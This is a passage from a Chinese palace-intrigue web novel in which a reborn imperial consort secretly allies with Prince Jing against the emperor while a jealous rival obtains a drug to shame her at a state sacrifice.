苏寻雁用手捂住脸,又深吸了几口气,才将心头翻涌的情绪压下,转身,望向送信之人时,面上的情绪已经收敛,语气恢复平静。
“王爷可还交待了什么?”
那人躬身行礼,语气恭敬:“殿下还说,眼下时机未到,若娘娘想见,待祭祀那日相见为宜。”
苏寻雁轻轻颔首:“王爷的意思我已知晓,多谢!”
此处毕竟不是谈话的好地方,待那人离开,她们二人也随即离开了凉亭。
回到雁鸣宫,苏寻雁便命小锤子在门外守着,并吩咐他:“不得让任何人靠近。”
小锤子连忙应下,转身出去。
见苏寻雁神情严肃,知秋以为会面不顺利,小心翼翼地询问苏嬷嬷。
“嬷嬷,会面还顺利吗?靖王他,答应了吗?”
苏嬷嬷眼底含笑,语气温和:“靖王没来,却送来了一个再好不过的消息。”
她也不卖关子了,直接说了出来:“将军他,已被靖王救下,人暂时安全。”
苏寻雁随即吩咐:“知秋,快去将这个消息告知母亲,不要让她再为此忧心。”
知秋笑着应下,转身跑了出去,连背影都透着几分轻快。
苏寻雁也长舒了一口气。
自重生归来,许多事都与前世不同,她本以为父亲的命运终究无法改变,不曾想,竟能峰回路转,实乃万幸。
同一时间,上京城的一处别院内。
一名玄衣带刀侍卫静立房内,目光时不时的扫过书案后那抹挺拔的身影。
他犹豫了良久,终是忍不住,轻声问道。
“王爷,属下实在搞不懂,您既都打算插手了,为何今日不去赴约?送人一块玉佩,又是在打什么哑谜?”
韩元修不耐地抬眸扫了他一眼,语气淡淡。
“聒噪。若是觉得闲,自行回军营去。”
下属一听这话,顿时蔫了,连忙抱拳求饶。
“别啊王爷,属下就是好奇,随口一问,您不愿说就算了,哦,我去前院看看他们准备的怎么样了。”
说罢,朝韩远修匆匆一揖,便转身跑了,生怕再晚一步,就被对方遣回那苦寒的军营去。
韩元修嘴角勾起一抹极淡的笑意,随即垂下眼眸,继续看书,可目光却骤然幽深,不知在思索什么。
这时,一名侍从进来,恭敬禀告道。
“殿下,贵妃娘娘已从凉亭离开,您吩咐的话,奴才都已传达。”
韩元修随即抬眼吩咐:“好,下去筹备吧。”侍从躬身退下。
他沉吟片刻,目光朝阴影中投去,“苏家军营那边,情况如何?”
一名近侍悄然出现,低声说:“主子放心,一切如常。”
韩元修眼底掠过一抹讶然,沉声吩咐。
“让他们继续盯着
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,若有行迹可疑之人,立即捉拿,严加审问!”
“是!”
近侍躬身领命,下一瞬,人便消失不见。
韩元修起身走至窗前,眼神凝望着窗外的景色,思绪却渐渐飘远。
对方远比他想的还要谨慎。
明明急于夺回兵权,却又这么沉得住气,看来苏益之的下落不明,已经让他自乱阵脚了。
或许他可以利用这一点,顺势插手贪腐案,亦能探清对方的真实意图。
韩元修所料不差,韩屹眼下确实焦头烂额。
他气得猛地一挥衣袖,桌案上的几本奏折尽数扫落到地。
“你们这么多人,连一个年迈的老将都杀不掉,竟还让他逃了,我养你们有何用?一群废物!”
说罢,他再也压不住心中的怒火,抓起桌案上的砚台就狠狠摔到地上,厉声吼道:“滚,全都给我滚出去!”
下首跪着的几人一听能走了,立马磕头谢恩,灰溜溜地离开了。
韩屹胸口剧烈起伏,怒气久久不能平息。
这时,一道身影自殿后缓缓走出,一双纤手轻轻拂过他的胸膛,嗓音轻柔。
“屹大哥,莫要再气了,若是气坏了身子,我与腹中的孩儿,将来还能仰仗谁呢。”
韩屹回过神,眼眸转向身旁之人,语气稍缓:“你怎么来了?”
话音刚落,韩屹便将她的手从自己的胸膛拿开,“不是让你在房中好好休息吗?”
林婉柔低垂着眼,声音透着些许委屈:“我就不能出来走走吗?屹大哥莫不是觉得我没脸见人?”
说着她眼眶就开始泛红,泪水顷刻间蓄满眼底,将落未落,她固执地睁大眼睛,不让泪水流出,那副强撑着的倔强样子,任谁看了都不免心软。
韩屹却看得失了神,深邃的目光仿佛是在透过她,看着什么人。
林婉柔察觉到了,她心下一酸,眨了眨眼,任由泪水不断地从眼眶流出。
“屹大哥,是觉得我麻烦吗?”她语气哽咽道:“若真觉得我烦,我这就离开。”
说罢,她起身欲走,韩屹这时回过神来,一把扣住她的手腕,语气无奈。
“又在闹什么,我不过是在想事情,偏你如此敏感。”
见她仍在流泪,韩屹便松开手,轻轻刮了下她的鼻子,温声叮嘱:“并非是不许你出门,但切记避着人,眼下情况不明,我担心你。”
林婉柔噗嗤一声笑了,凑上去拥住韩屹,瓮声瓮气地说。
“我知道的,我会小心,屹大哥,你也多来看看我嘛。”
韩屹再次将她的手臂拿开,语气淡淡。
“听话,别闹了,等我忙完就去看你。”
说罢,他转身,吩咐一旁的宫人:“送林姑娘回去,好生伺候,若有事,及时来报。”
“是。”宫人连忙领命,“林姑娘,请。”
林婉柔却有些舍不得,拽住韩屹的衣袖,轻声说。
“屹大哥,你可要说话算话,记得来看我噢。”
韩屹看都没看她,只敷衍地点了点头。
待人离开,他又唤来御医,“林姑娘的身体如何?”
御医清楚他关心的究竟是什么,连忙拱手回道。
“陛下放心,经这段时间的调理,林姑娘身子已经大好,腹中胎儿也康健,定能平安诞下孩儿。”
韩屹闻言,露出一抹满意地笑容,“此事,爱卿需多上心,待胎儿顺利诞下,朕必有重赏。”
“多谢陛下,臣定竭尽全力。”
“嗯。”
韩屹疲惫地摆了摆手,突然想到什么,又沉声叮嘱。
“此事绝不可外传,若透露出去半个字,朕必唯你是问!”
御医吓得扑通一声,跪到在地,连连叩首。
“陛下放心,微臣什么也不知。”
13. 第 13 章
待殿门彻底合拢,韩屹不再掩饰,手臂沉沉落在案上,用手肘撑住额头,一声压抑良久的叹息自唇边溢出。
这时,大太监刘路缓缓走进,见此情形,他将脚步放得更轻,走至桌案旁,低声劝道。
“陛下,申时已过,该用晚膳了。”
韩屹不耐的摆手:“不必,下去。”
“您午膳就没怎么用,这样下去身体可吃不消啊,今日备的都是清淡适口的菜,您多少用一些?”
话音未落,韩屹猛地抬眼,眼神冷冷地刺向他。
“朕的话,你是听不懂吗?”
“奴才不敢,这就走,这就走。”
刘路躬身行礼,正要离开,却又被韩屹唤住。
“等等,贵妃今日都做了什么?”
刘路顿时松了一口气,只要陛下能问起贵妃,就说明心情转好了,他笑着说道。
“回陛下,贵妃娘娘今日午膳过后,便去了御花园,在凉亭内略坐了会儿,就回宫了。”
韩屹听后,有些意外,“苏夫人这几日,没进宫?”
刘路摇了摇头:“没有,苏夫人已许久不曾进宫,陛下有何吩咐?”
韩屹不禁陷入沉思:苏益之失踪这么大的事,苏家不会不知晓,可苏寻雁却还有闲情逛花园,可见苏夫人并未将此事告知她。
苏家这般不动声色,难道是苏益之已被寻回?
想到有这种可能,韩屹脸色顿时沉下来,随即询问道。
“派去苏府的探子,近日可有传回消息?”
刘路虽心中疑惑,却仍如实禀报。
“据探子来报,苏府上下一切如常,并未有事发生。”
无事发生才最不寻常!
韩屹听后,脸色愈发难看,语气前所未有的肃杀。
“加派人手,盯紧苏府上下,让他们事无巨细,都记录下来。”
“是,老奴这就下去安排。”
他虽不知其中发生了什么,也隐约察觉到不对,可他一个宦官,也无权置疑什么。
自刘路离开后,韩屹心中愈发不安,他随即起身,径直朝外走。
对门外侍从冷声道:“备驾,去雁鸣宫。”
他必须立刻见到苏寻雁才能安心。
侍从们连忙躬身领命,随即摆驾,队伍浩浩荡荡,直奔雁鸣宫而去。
这般大的阵仗,苏寻雁都有些不习惯,韩屹先前来时都是独自一人,如今这般,可见是有所察觉了。
不过她也做好了准备,笑容恬淡地看向那越来越近的高挺身影。
眼看韩屹就要跨过门槛,苏寻雁便双手交叠,屈膝行礼:“臣妾苏寻雁,恭请皇上圣安!”
韩屹随即站定,待她行完大礼,才上前,将她扶起。
“寻雁这是做什么,你我之间何须行此大礼。”
苏寻雁顺势起身,莞尔一笑:“陛下如此阵仗而来,臣妾自当奉陪。”
韩屹轻揽过她的肩,让她顺势靠在自己身上,二人一同朝内走。
他状似无意地说:“听这话意思,寻雁是在怪我啊?”
苏寻雁脸上露出一抹淡笑,笑意却未达眼底,只语气轻快。
“哪有,陛下,您又多想了。”
她随即牵起韩屹的手,引着他来到桌案旁,声音温软:“这几日臣妾都在抚琴,新作了一曲,正好弹给陛下听听。”
韩屹闻言,饶有兴致地到桌案旁落座,轻笑道:“那敢情好,我便洗耳恭听。”
苏寻雁走到桌案后,缓缓落座。
凝神片刻,指尖轻拂琴弦,一串清灵的乐音自指尖荡开,曲调轻柔婉转,仿佛置身丛林,却在这时突然转急,乐音逐渐变得激进,如万马奔腾之势,随即终了。
韩屹起初眼神淡漠,待一曲终了,眼底才生出几分暖意,他轻拍手掌,由衷地赞叹道。
“余音绕梁,好曲。”
苏寻雁闻声抬头,与韩屹对视一眼,才笑着起身,福了福身。
“都是臣妾自己瞎编的,让陛下见笑了。”
韩屹将她一把带入怀中,指尖在她的鼻梁上轻刮了两下,语气无奈。
“寻雁何时与我这般生分了?此曲极好,便是让我再听一遍,都不嫌多。”
苏寻雁顺势靠在他的肩头,柔声道:“陛下如此说,我可是要当真了?”
“当然,我的寻雁才貌双全,能倾心于我,便是我此生之幸。”
苏寻雁听后,却没有答话,只轻挑眉梢。
韩屹双手捧住她的脸,不由分说地吻上她的唇,带着不容抗拒地强势。
有了上一次的教训,苏寻雁只能让自己沉溺其中,只是身侧攥紧的双手出卖了她。
好在韩屹对此毫无察觉,反倒愈发情动。
他的手从脸颊一路往下,最终覆上一片柔软,他停下来,抬眸看她,眼底翻涌着的灼热,意味明显。
苏寻雁闭了闭眼,随即倾身,回吻上对方,眼底的挣扎一瞬即逝。
看着她嫣红的嘴唇,韩屹眼底暗流汹涌。下一瞬,将她打横抱起,快步走向床榻。
苏寻雁顺势依偎在他胸膛,轻声说了句:“陛下这次,可不许再那么凶了。”
想起上次二人不欢而散的情形,韩屹连声应道:“上次是我不对,这次定不会了。”
苏寻雁没好气地横了他一眼,随即垂眸,压下眼底的复杂之色。
床幔缓缓落下,帐内的温度逐渐升高,苏寻雁只觉自己的感官被抽离,唯有身体的本能在回应。
明明是再熟悉不过的场景,此刻却让她感到抗拒与难熬,这便是心死吗?
看来,她还是高估了自己的忍耐度,只觉这一夜格外漫长。
她静静地躺着,听着身侧之人均匀的呼吸,对方已然陷入沉睡,一只手臂还搭在她的腰间,那温度曾令她心安,如今却只让她反感。
翌日清晨。
苏寻雁转过头,见身侧的韩屹睡得正香,她就不甘心,伸手挠了挠他的侧腰。
韩屹在睡梦中被轻微的痒意唤醒,迷迷糊糊地左右躲闪,随即忍不住低笑出声。
“别闹。”声音还带着一丝沙哑。
苏寻雁却忍不住冷哼:“你倒是睡得安稳,昨夜是谁说这次不会了?结果呢?还不是只顾自己……”
回想起昨夜二人的缠绵,韩屹目光不
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自觉柔和下来,将她轻轻拥入怀中,低声哄道。
“是我的错,也是你太让人着迷,一靠近,就让我失控。”
苏寻雁推开他的怀抱,翻了个白眼:“哦,这么说,还怪我了?”
“没有,就是我的错,下次定不会……”
说罢,又吻上她的脸颊,鼻尖,快触及唇瓣时,苏寻雁却微微后退,避开了,随即坐起身。
“陛下,该起了。”
韩屹不舍地抱了抱她,才起身,心满意足地去上早朝。
苏寻雁也不再让自己陷入自怨自艾里,开始为祭祀大典做准备。
往年,像祭祀这类的正式场合,她是无权参加的。
毕竟她还不是皇后,只是一个贵妃而已,不过凡事总有例外。
因着昨夜的事,韩屹心情大好,临走时特准她参加此次祭祀大典。
苏寻雁心下稍松,昨夜的忍耐总算是没白费。
她嘴角微扬:“多谢陛下,我还未曾参加过呢。”
韩屹伸手揉了揉她的发顶,“这么高兴?那这几日可要好好用饭。”
随即,他试探道:“对了,怎么近来不见苏夫人?可是苏府有什么事?”
苏寻雁摇头笑道:“府里怎会有事,是我不让她来了,母亲每次进宫就会唠叨我,听得我都烦了。”
韩屹深深地看了她一眼,见她笑容始终未变,才点头附和。
“苏夫人确实爱唠叨,不过她也是在关心你,可不要因此,令她伤心啊。”
苏寻雁只轻哼了一声,没有回应。
这时,刘路脚步匆匆地跑了进来,朝二人行礼,随即语气恭敬地说。
“陛下,该上早朝了。”
苏寻雁转身嘱咐:“陛下还未用早膳,刘总管可要记得提醒他啊。”
韩屹闻言,眼神越发柔和,“放心,他可不会忘。”
目送着韩屹离开,苏寻雁随即收敛笑容,扬声唤来苏嬷嬷。
“嬷嬷,去备一碗汤药来。”
苏嬷嬷眼神复杂地看向她,过了半响,才低声道。
“娘娘真要如此吗?若此事被陛下知晓,恐会……”
“无妨。”苏寻雁打断她:“他心里定也是如此想的。”
苏嬷嬷还想再劝,转念一想,又释然了。
林婉柔之事摆在那里,还有什么好劝的,她压下眼底的心疼,连忙应下。
“娘娘说的是,老奴这就去吩咐下去。”
看着那碗深色的药汤,苏寻雁没有犹豫,几口将其喝完,如此,她才觉得安心。
她可以为了家族安危,暂时妥协,做一个得宠的贵妃。
却绝不能,为仇人生下子嗣。如昨夜那般,已是极限。
“过几日便是祭祀大典,这次我也会参加,苏嬷嬷,找机会接近靖王的人,告诉他,我要与他会面。”
苏嬷嬷深知此事干系重大,不由面露难色,欲言又止。
见迟迟没得到回应,苏寻雁不解地抬眸望去:“嬷嬷,怎么了?”
苏嬷嬷愧疚地垂首道:“上次老奴只顾着欢喜,竟忘了问那小厮姓名,如今再要寻人,怕是难了……”
14. 第 14 章
苏寻雁没好气地看了她一眼,笑着打趣:“想不到嬷嬷也有这么不稳重的时候,罢了,就等祭祀那日再说罢。”
“这样,能行吗?”
“无妨。”苏寻雁嘴角微扬:“靖王定能料到,到那日,随机应变吧。”
苏嬷嬷还在暗暗自责,苏寻雁察觉到,出声打断她的思绪。
“嬷嬷,祭祀那日的服饰,还要提前备好,此事,就全权交由你了。”
苏嬷嬷这才来了精神,连连点头:“好,娘娘放心,老奴定会细心筹备。”
与此同时,另一处宫殿内,却是截然不同的景象。
桌案歪倒在一旁,地上还散落着各色瓷器碎片,清脆而刺耳的声响接连不断。
侍候在旁的宫女目光掠过一地碎片,眼底闪过一抹痛惜,她随即上前劝道。
“姑娘,别再摔了,这些可都是陛下赏赐给您的,若让陛下知晓,定会不悦。”
林婉柔闻言,怒意更甚:“不悦?你说谁不悦?”
她随即大声吼道:“我腹中怀的可是皇嗣,摔他几个瓶子怎么了?怎么了?!”
宫女吓得不敢再劝,只垂首立在一旁。
林婉柔也察觉到自己的失态,她抚了抚发梢,语气放缓:“去,再给我多拿些来!”
宫女虽无奈,也只得转身去取。
路上,迎面遇到几个关系不错的姐妹,小宫女没忍住向她们抱怨。
“你们别看那林姑娘外表柔弱,发起火来,可太吓人了。”
“哦?”
几人闻言对视一眼,随即问道:“你说的林姑娘,可是先前那个林氏?”
小宫女点了点头:“正是她,摊上这样的主子,算我倒霉。”
几人闻言,勾起了八卦之心,纷纷向她追问。
“她又进宫来了?发生什么了?快与我们说说啊。”
另一个宫女也附和:“是啊,你话不要说一半啊!”
见左右无人,小宫女便走到一旁的石台上坐下,“我与你们讲了,可不许往外传啊!”
几人连忙点头答应,小宫女这才压低声音说道。
“陛下昨夜去了贵妃宫里,这事让林姑娘知晓,可不得了,一大早就在屋里摔摔打打的,我好心劝她,她就朝我大吼,那样子啊,简直要翻了天去。”
几人交换了下眼神,又略微安慰了她几句,便将消息告知各自的主子。
小宫女事后也暗暗后悔,只觉自己冲动了,可话都说了,再后悔也晚了。
果不其然,不出半日,林婉柔因妒性大发,在宫内乱摔东西,乱发脾气的事就传开了。
几名美人一听那林婉柔又进宫来,别提多急了,她们难得默契一回,纷纷来雁鸣宫,找苏寻雁商量对策。
"贵妃娘娘,那林婉柔竟又进宫来了,您快想想办法吧!"
江美人也急急附和:“是啊,这才过去多久,陛下就迫不及待将人接回,这次还想藏起来,娘娘,此事绝不简单啊!”
苏寻雁端起桌上的茶碗,轻轻抿了一口,同时在心里盘算着。
林婉柔再次进宫之事被发现,她倒是不意外。只是没想到对方如此沉不住气,这么快就露了痕迹。
眼下她只能尽力安抚住眼前这几人,好歹将林婉柔怀胎之事暂且压下,不然,她手中的筹码,又会少一个。
思及此,她面上佯装惊讶,一脸受伤地看向几人。
“陛下怎会如此……你们是如何得知?”
几人你一言我一语,很快将事情讲明,苏寻雁轻叹了一声,随即劝道。
“陛下如此,自有他的用意,此事先不要声张,过几日便是祭祀大典,有什么事,也等大典过后再说吧。”
祭祀大典可是大事,几人虽心有不甘,却也只能先按捺下来。
“娘娘说的是,我们就等祭祀大典之后,再商议。”
说罢,几人便起身告辞。
待人都走光,苏寻雁才长舒一口气,好歹是将事情稳住了。
此事很快便传到韩屹的耳朵里,这日一下朝,他便怒气冲冲地去寻林婉柔,语气很是不悦。
“朕先前怎么叮嘱你的,都忘了?眼下形势不明,你还如此高调,是生怕人不知你怀胎之事啊?”
林婉柔心里也很委屈,她低声反驳道。
“屹大哥,你都多久没来看我了,一来就如此凶人家,连腹中孩儿听了,都伤心了。”
“你还记得自己腹中有个孩儿?御医叮嘱的话都忘了?”韩屹无奈扶额。
林婉柔这时凑过来,从背后将他紧紧抱住,语气轻柔。
“可我太想屹大哥了,又听说了昨晚你与贵妃姐姐的事,一时气急嘛,我下次一定忍住了。”
韩屹顾及到她眼下的身体状况,那些责备的话都尽数咽下,他转过身,回抱住她。
“你的心意,我自是知晓的。”
随即眼神暗沉下来:“如今已是箭在弦上,若此时出了岔子,那此前种种的布局皆会付诸东流,这便是你想看到的?”
林婉柔闻言,一脸自责地垂下头。
“屹大哥说的是,是婉柔太沉不住气,险些拖了你的后退,我日后定会忍耐,不给屹大哥添麻烦。”
“嗯,这样才乖。”
韩屹牵着她的手来到床榻边,随即唤来御医:“给她看看。”
林婉柔刚想拒绝,就被韩屹的眼神制止了,她乖乖地躺进床幔后。
御医上前诊脉,过了半响,才起身,朝韩屹回禀道。
“陛下放心,林姑娘与她腹中胎儿均无事。”
一听胎儿无事,韩屹悬着的心才算落了地,他随即起身欲走,却被林婉柔一把拽住他的手。
“屹大哥,你别走,你再多陪陪我嘛。”
韩屹转眸看了她一眼,手轻抚过她的发丝,耐心地安抚。
“你先好好休息,我还有些政务要处理,等这阵子忙完,再过来陪你,听话。”
说罢,他掰开林婉柔的手,毫无留恋的转身,背影很快便消失不见。
林婉柔眼底的不甘与嫉恨,如火一般愈演愈烈,她冷声吩咐。
“我要去御花园赏花,你们快去准备。”
宫人闻言,语气迟疑:“林姑娘,陛下临走时特意叮嘱过,不让您……”
‘啪’的一声,林婉柔狠狠地扇了上去,语气冷硬。
“记住,我才是你的主子,快去准备!”
宫人疼得捂住脸,低头退下。
到了御花园,林婉柔却突然站定,朝身后跟着的几人摆了摆手。
“行了,你们都退下吧,我要一个人静静。”
几人彼此对视一番,却都不敢离开。
林婉柔见状,压下眼底的不耐,轻声说:“放心,我只是到那处凉亭里坐坐,你们若是不放心,退远一些等着便是。”
宫人们转身离开,却也不敢离得太远。
林婉柔却不管他们如何想,趁几人不注意,她迅速闪到一处假山后,与早就等在那里的人一同离开。
二人来到一处隐秘的院子,关上大门,林婉柔才低声问道:“他们还活着吗?”
那人点了点头,嗓音低哑:“都活着,不过牢里阴冷,林夫人怕是快不行了。”
“哼,那是她活该!”林婉柔嘴角上扬,随即冷声说:“不必管他们的死活,只要确保我爹活着就行,他对我还有用。对了,我娘先前的秘药呢?”
那人犹豫了片刻,想要说什么,林婉柔却催促道:“愣着干什么?赶快拿出来啊!”
那人这才从怀中拿出一个红色瓷瓶,“这药……”
话未说完,瓷瓶就被林婉柔一把夺了去。
“行了,我知你要说什么,我会小心行事,倒是你,走的时候可要当心些啊,别被人发现了。”
说罢,她头也不回地离开,那人又在原地站了会儿,才往相反的方向去。
林婉柔很快回到假山后,几名宫人正唤着她的名字,四处找寻,怕事情闹大,她连忙从角落里走出,一脸不耐地呵斥他们。
“行了你们,喊什么喊,生怕别人不知我在这,都给我回去。”
她趁机将瓷瓶揣进袖中,嘴角扬起一抹笑意。
此物只要用上一点,凭她苏寻雁性子再如何沉稳,也必会忍耐不住,当众出丑。
到时,就让韩
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屹亲眼看到她的不堪,她就不信韩屹还会如此喜欢她。
她苏寻雁不是仗着家世,在宫里神气地不行吗?这一回,看她还拿什么张扬!
她随即加快脚步往前走,宫人们生怕再将人跟丢,连忙小跑着跟上去。
“先前让你们去接触几位美人,她们怎么说?”
回到宫中,林婉柔便迫不及待地询问起一旁的侍从。
侍从小声答道:“只张美人同意与您见面,其余美人直接将礼物退回了。”
林婉柔眼底掠过一抹冷意,又很快沉寂。
“罢了,那就先去会会这位张美人好了。”
——
此后几日,宫内再无波澜,这难得的平静一直持续到祭祀大典这日。
虽说,后宫的其他嫔妃并不参与此次祭祀,可她们每个人心里,还是暗暗期待着这一日的到来。
当然,这其中最期待的就属苏寻雁了。
她期待着与靖王的会面,也期待着此次会面过后,能彻底改变一家人的命运。
“娘娘,这几身衣裙是我们精挑细选出来的,您看看要穿哪件?”
知秋带着三个小宫女走进来,边走,边与苏寻雁展示衣裙。
苏寻雁的妆容才刚画成,闻声便侧转过身,目光扫过一旁的衣架,语气淡淡。
“这样的场合,衣着自是愈低调庄重愈好,就选这件靛青色的吧。”
宫人们闻言又忙碌起来,不多时,苏寻雁便穿戴好,乘上轿辇,一路往广场而去。
远远望去,无数禁军簇拥着那明黄銮驾而来,韩屹身着祭典礼服,坐于其上,他的面容沉静,在礼服的衬托下,竟比以往更显威严。
苏寻雁的轿辇就停在角落,她静静地看着眼前的一幕,突然明白,韩屹为何如此执着于权势,大概就是为了此刻那唯吾独尊的皇家威仪吧。
禁军仪仗与众大臣集结于宫门口,待时辰到了,便陆续出发前往太庙祭祖。
这种大典向来是磨人又枯燥,若不是为了见靖王,她还真不爱参加这类场合。
苏寻雁跪坐于蒲团之上,耳畔是祭祀的庄严礼乐,心思却早已飞远。
她在心里暗付:也不知靖王会如何与她联系,今日又能否会面成功?
她又悄悄挪了挪身子,抬首望向天空,看着飘忽不定的云,发起呆来。
这时,一个内侍悄悄走到她身边,压低声音道。
“贵妃娘娘,时辰到了,可以移步偏殿歇息片刻。”
苏寻雁闻言,心猛地一跳,内心抑制不住的激动,这,这便来了吗?
她抬眸,环顾四周,见在场女眷都端坐于蒲团之上,没有要离开的意思,她便有些迟疑,试探地问一旁的内侍。
“偏殿那边,都安排好了?”
内侍躬身,语气笃定:“一切都已安排妥当,请贵妃娘娘放心。”
既然对方都这么说了,应是做好了万全的准备,那她还有什么好犹豫的,思及此,苏寻雁随即起身,跟随那名内侍快步离开。
耳边已渐渐听不到祭祀的礼乐,可预料之中的偏殿却始终未见到。
眼看着位置越来越偏,她就有些不放心,随即停下脚步,再次向内侍确认道。
“不是说要去偏殿歇息?我们这是要去往何处?”
见左右无人,内侍才转过身,语气恭敬的回道。
“奴才竹子,拜见贵妃娘娘,先前给您送玉佩的,正是奴才的胞弟,名唤小树。”
听他说起玉佩,苏寻雁才放心下来。
竹子又继续说:“您要见之人,就在里面,奴才这就给您带路。”
苏寻雁微微颔首,示意他前面带路。
二人又行进了一段路,穿过几道回廊,才来到一处僻静的院落前,竹子先上前,推开门,又侧过身,让苏寻雁先行。
两人一路向内行去,见内室空无一人,她正欲发问,面前的屏风却突然开始转动,接着露出一条只容一人通过的狭窄密道。
苏寻雁眼底掠过一抹惊诧,随即抬脚,跟上前面的竹子。
难怪靖王如此有恃无恐,原是早就安排了密道,只是不知这密道会通往何处。
15. 第 15 章
就在此时,先前昏暗的密道突然转亮,竹子停下脚步,转身,朝她伸手示意。
“前面的路,奴才不便踏足,需娘娘自行前往,王爷已在里面等候多时。”
苏寻雁闻言,连忙打起精神,抬脚继续朝前走。
不多时,眼前便出现一座院子,院中空荡荡的,仅有一张石桌和几个石凳,再往前便是一间屋子。
她走到门前,轻轻敲了两下门,还未等到里面回应,面前的木门便缓缓打开,原来门是虚掩着的。
她抬脚朝里走,只见房内陈设简陋,仅一张床榻和一方桌几,再无其他。
此地,竟比寺院供香客们居住的客房还要简陋,这里究竟是何处?靖王会住在这里?
“贵妃娘娘总算是到了。”
身后突然响起的低沉声音,将她心惊得一颤,她慌忙转身,抬眸看向来人。
此时的他,一改先前的肃杀之气,只着一身青衣,一枚木簪束发,神情闲适地仿佛本就是此间主人,那日殿中与韩屹针锋相对的倔强身影,仿佛不是他。
"靖王这番鼓弄玄虚,是为何?"
韩元修从门外缓缓走进,在桌几后坐下,执起茶壶,斟满两碗香茶,才抬眸看向她。
“折腾了一整日,贵妃不觉得渴吗?尝尝。”
说着,他将其中一碗茶推到苏寻雁面前,抬手示意。
经他这么一说,还真觉得渴了,她也没犹豫,端起茶碗,便喝了几口,随即将茶碗放回桌上,站起身,朝韩元修福了福身。
“家父之事,还要多谢王爷,若非王爷及时出手相救,家父恐生死难料。”
韩元修向后靠入椅背,眸光淡淡地看向她。
“贵妃严重了,以苏将军的身手,即便没有本王相助,亦能脱困。”
苏寻雁却不赞同地轻轻摇头:“并非如此,若是正面较量,家父必是无碍,只怕有人暗中伏击,痛下杀手,那便是再有能耐,也无用。”
说罢,她目光不自觉的转向窗外,见天色渐渐暗沉下来,她便转过来,继续道。
“时间有限,我便不与王爷客套了,其实我今日来是想与王爷谈合作,你我联手,查清军饷贪腐案的内幕。”
韩元修眼底闪过一丝诧异,随即淡笑道:“本王以为,你今日来是要问苏将军之事,想不到你竟有如此想法。”
苏寻雁也不恼,直接打断道:“陛下欲暗中除掉我父亲,从而接管苏家军,一计不成,定会再生一计,还请王爷看在与我爹同为戍边将领的份上,帮帮我们!”
说罢,她再度起身,正欲跪下,却被韩元修一把拦住,二人肌肤一触即离,他随即背过手,暗暗握紧拳头,神色如常。
“娘娘不必如此,本王既已知晓此事,便不会坐视不理,军饷案涉及之人众多,娘娘还是不要牵扯其中为好。”
“王爷这话错了,韩屹的目标本就在苏家军,即便我不掺和,也难以抽身。”
说到这里,不禁想起前世遭遇的种种,眼神也随之变得暗沉:“与其被动接受,不如主动出击。”
韩元修察觉到她情绪有异,眼底掠过一抹探究,只听苏寻雁又说。
“王爷不也在暗查军饷案吗?可陛下始终未同意由你主理,你无法名正言顺的查,阻碍只会更多,而我恰好得知一事,或许能帮到王爷。”
韩元修听罢,眼眸深深地望向她,眼底迅速掠过一抹疼惜,久久未曾回应。
就在苏寻雁以为他不会同意自己的提议时,韩元修却沉声说了句:“好,就依你。”
苏寻雁眼眸一亮,嘴角不自觉扬起。
看来传闻不可信,靖王还是很好相处的嘛。
她来之前还备了无数说辞,生怕对方会拒绝,却不想他如此爽快便答应。她又朝韩元修福了福身,轻声说:“那我便等着王爷的好消息了。”
说罢,她就要转身离开。
此处虽隐蔽,可二人的身份特殊,待得久了,难免会让人起疑,不想,韩元修却突然出声叫住了她。
“娘娘请留步。”
韩元修从怀中拿出一物,放到桌几上,与先前那玉佩一样,也是用红色绸布包裹。
“既是合作,彼此就要互通消息,这个可作为信物,若你查到什么,或者遇到什么事,都可带上它,去御花园找竹子,他会来安排。”
“好,多谢王爷。”
她也没看那物是什么,就直接揣进怀里,转身,径直离去。
未曾察觉到身后,有道视线始终凝望着她,直至她的身影消失在廊角,那目光也久久未曾收回。
二人的会面虽短暂,天色也暗了下来,苏寻雁回到祭祀广场,一切还如她离开时那般,大家端坐于蒲团之上,竟没一人提前离开。
苏寻雁在心底暗叹一声,这些命妇还真是有耐力,跪了这大半日,竟还能端坐如常,难不成她们的膝盖是铁打的,就不会觉得疼吗?
这方面,她还真是自愧不如,只盼着这场枯燥又难熬的祭祀能快些结束。
大概是听到了她心中的碎碎念,祭祀礼乐突然停下,大典也终于结束。
命妇们在侍女的搀扶下缓缓起身,即便身体不适,她们亦能保持举止端庄,苏寻雁见状,佩服地不行。
这时,一位年长的命妇走到她身前,意味深长地撇了她一眼,语气淡淡。
“贵妃娘娘似乎耐力不足,日后还需多多练习。”
苏寻雁心头猛地一跳,面上却不置可否地笑了笑。
好在那命妇并未察觉什么,只是觉得她诚心不足,过来说了几句酸话,见她始终淡定微笑,她觉得无趣,便走了。
这样的场合,她体验一次就够了,下次她说什么也不会来了。
这般想来,皇后当得也没甚意思。
苏嬷嬷与知秋早早便等在门口,见她出来,二人连忙上前搀扶。
苏寻雁一脸冷汗,苏嬷嬷见了就心疼地不行。
“哎呀,娘娘累坏了吧,快,咱们赶紧回宫歇歇,老奴早就命人备好热水,泡个澡,身体也能舒缓些。”
苏寻雁无力地笑了笑:“还是嬷嬷最疼我。”
泡过热水澡,浑身舒畅了许多,她在侍女的侍候下,换上一身轻便的寝衣,再喝上一碗清亮的鸡汤,才觉自己活过来了。
苏嬷嬷又拿来巾帕,为她热敷膝盖,接着便将人都撵走,凑到苏寻雁身前,压低声音问询情况。
“今日一切顺利,嬷嬷不必担心,只是这祭祀大典,也太过熬人,我实在是后悔啊。”
说罢,她将头靠在苏嬷嬷的肩膀上,疲惫地闭上了眼。
苏嬷嬷转头看了她一眼,抬手轻轻抚过她的发丝,轻柔地为她按摩头皮,一脸疼惜:“娘娘今日辛苦了,今夜便好好歇歇。”
合作达成,后面还有许多事要做,需找一个信得过的人才行,苏寻雁随即抬起头,看向苏嬷嬷。
“嬷嬷,你觉得知秋如何,可以信任吗?”
苏嬷嬷想也没想便点头道
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:“知秋可以,这段时日,老奴一直在暗中观察她,知秋行事稳妥,没有异心,娘娘可以信任。”
“嗯,那今后与靖王联络之事,便交由她来。”
“这么重要的事,不用再试探一番?”
苏嬷嬷没想到她会将如此重任交由知秋,又有些不放心。
苏寻雁却笑着摇头:“无妨,知秋本就是苏府之人,比宫里那些侍从更值得信任。”
“娘娘考虑清楚就行,好了,先别想这些了,将晚膳先用了吧。”
说罢,她起身,快步行至殿门口,朝外吩咐道:“让膳房做一份素锅子,再一碗莲子粥来,”
侍从上前应诺,转身下去准备,不多时,便手捧托盘回来。
苏嬷嬷一直候在殿外,见到来人,她连忙接过托盘。
“行了,这里交给我,你们退下吧。”
几人齐声应是。
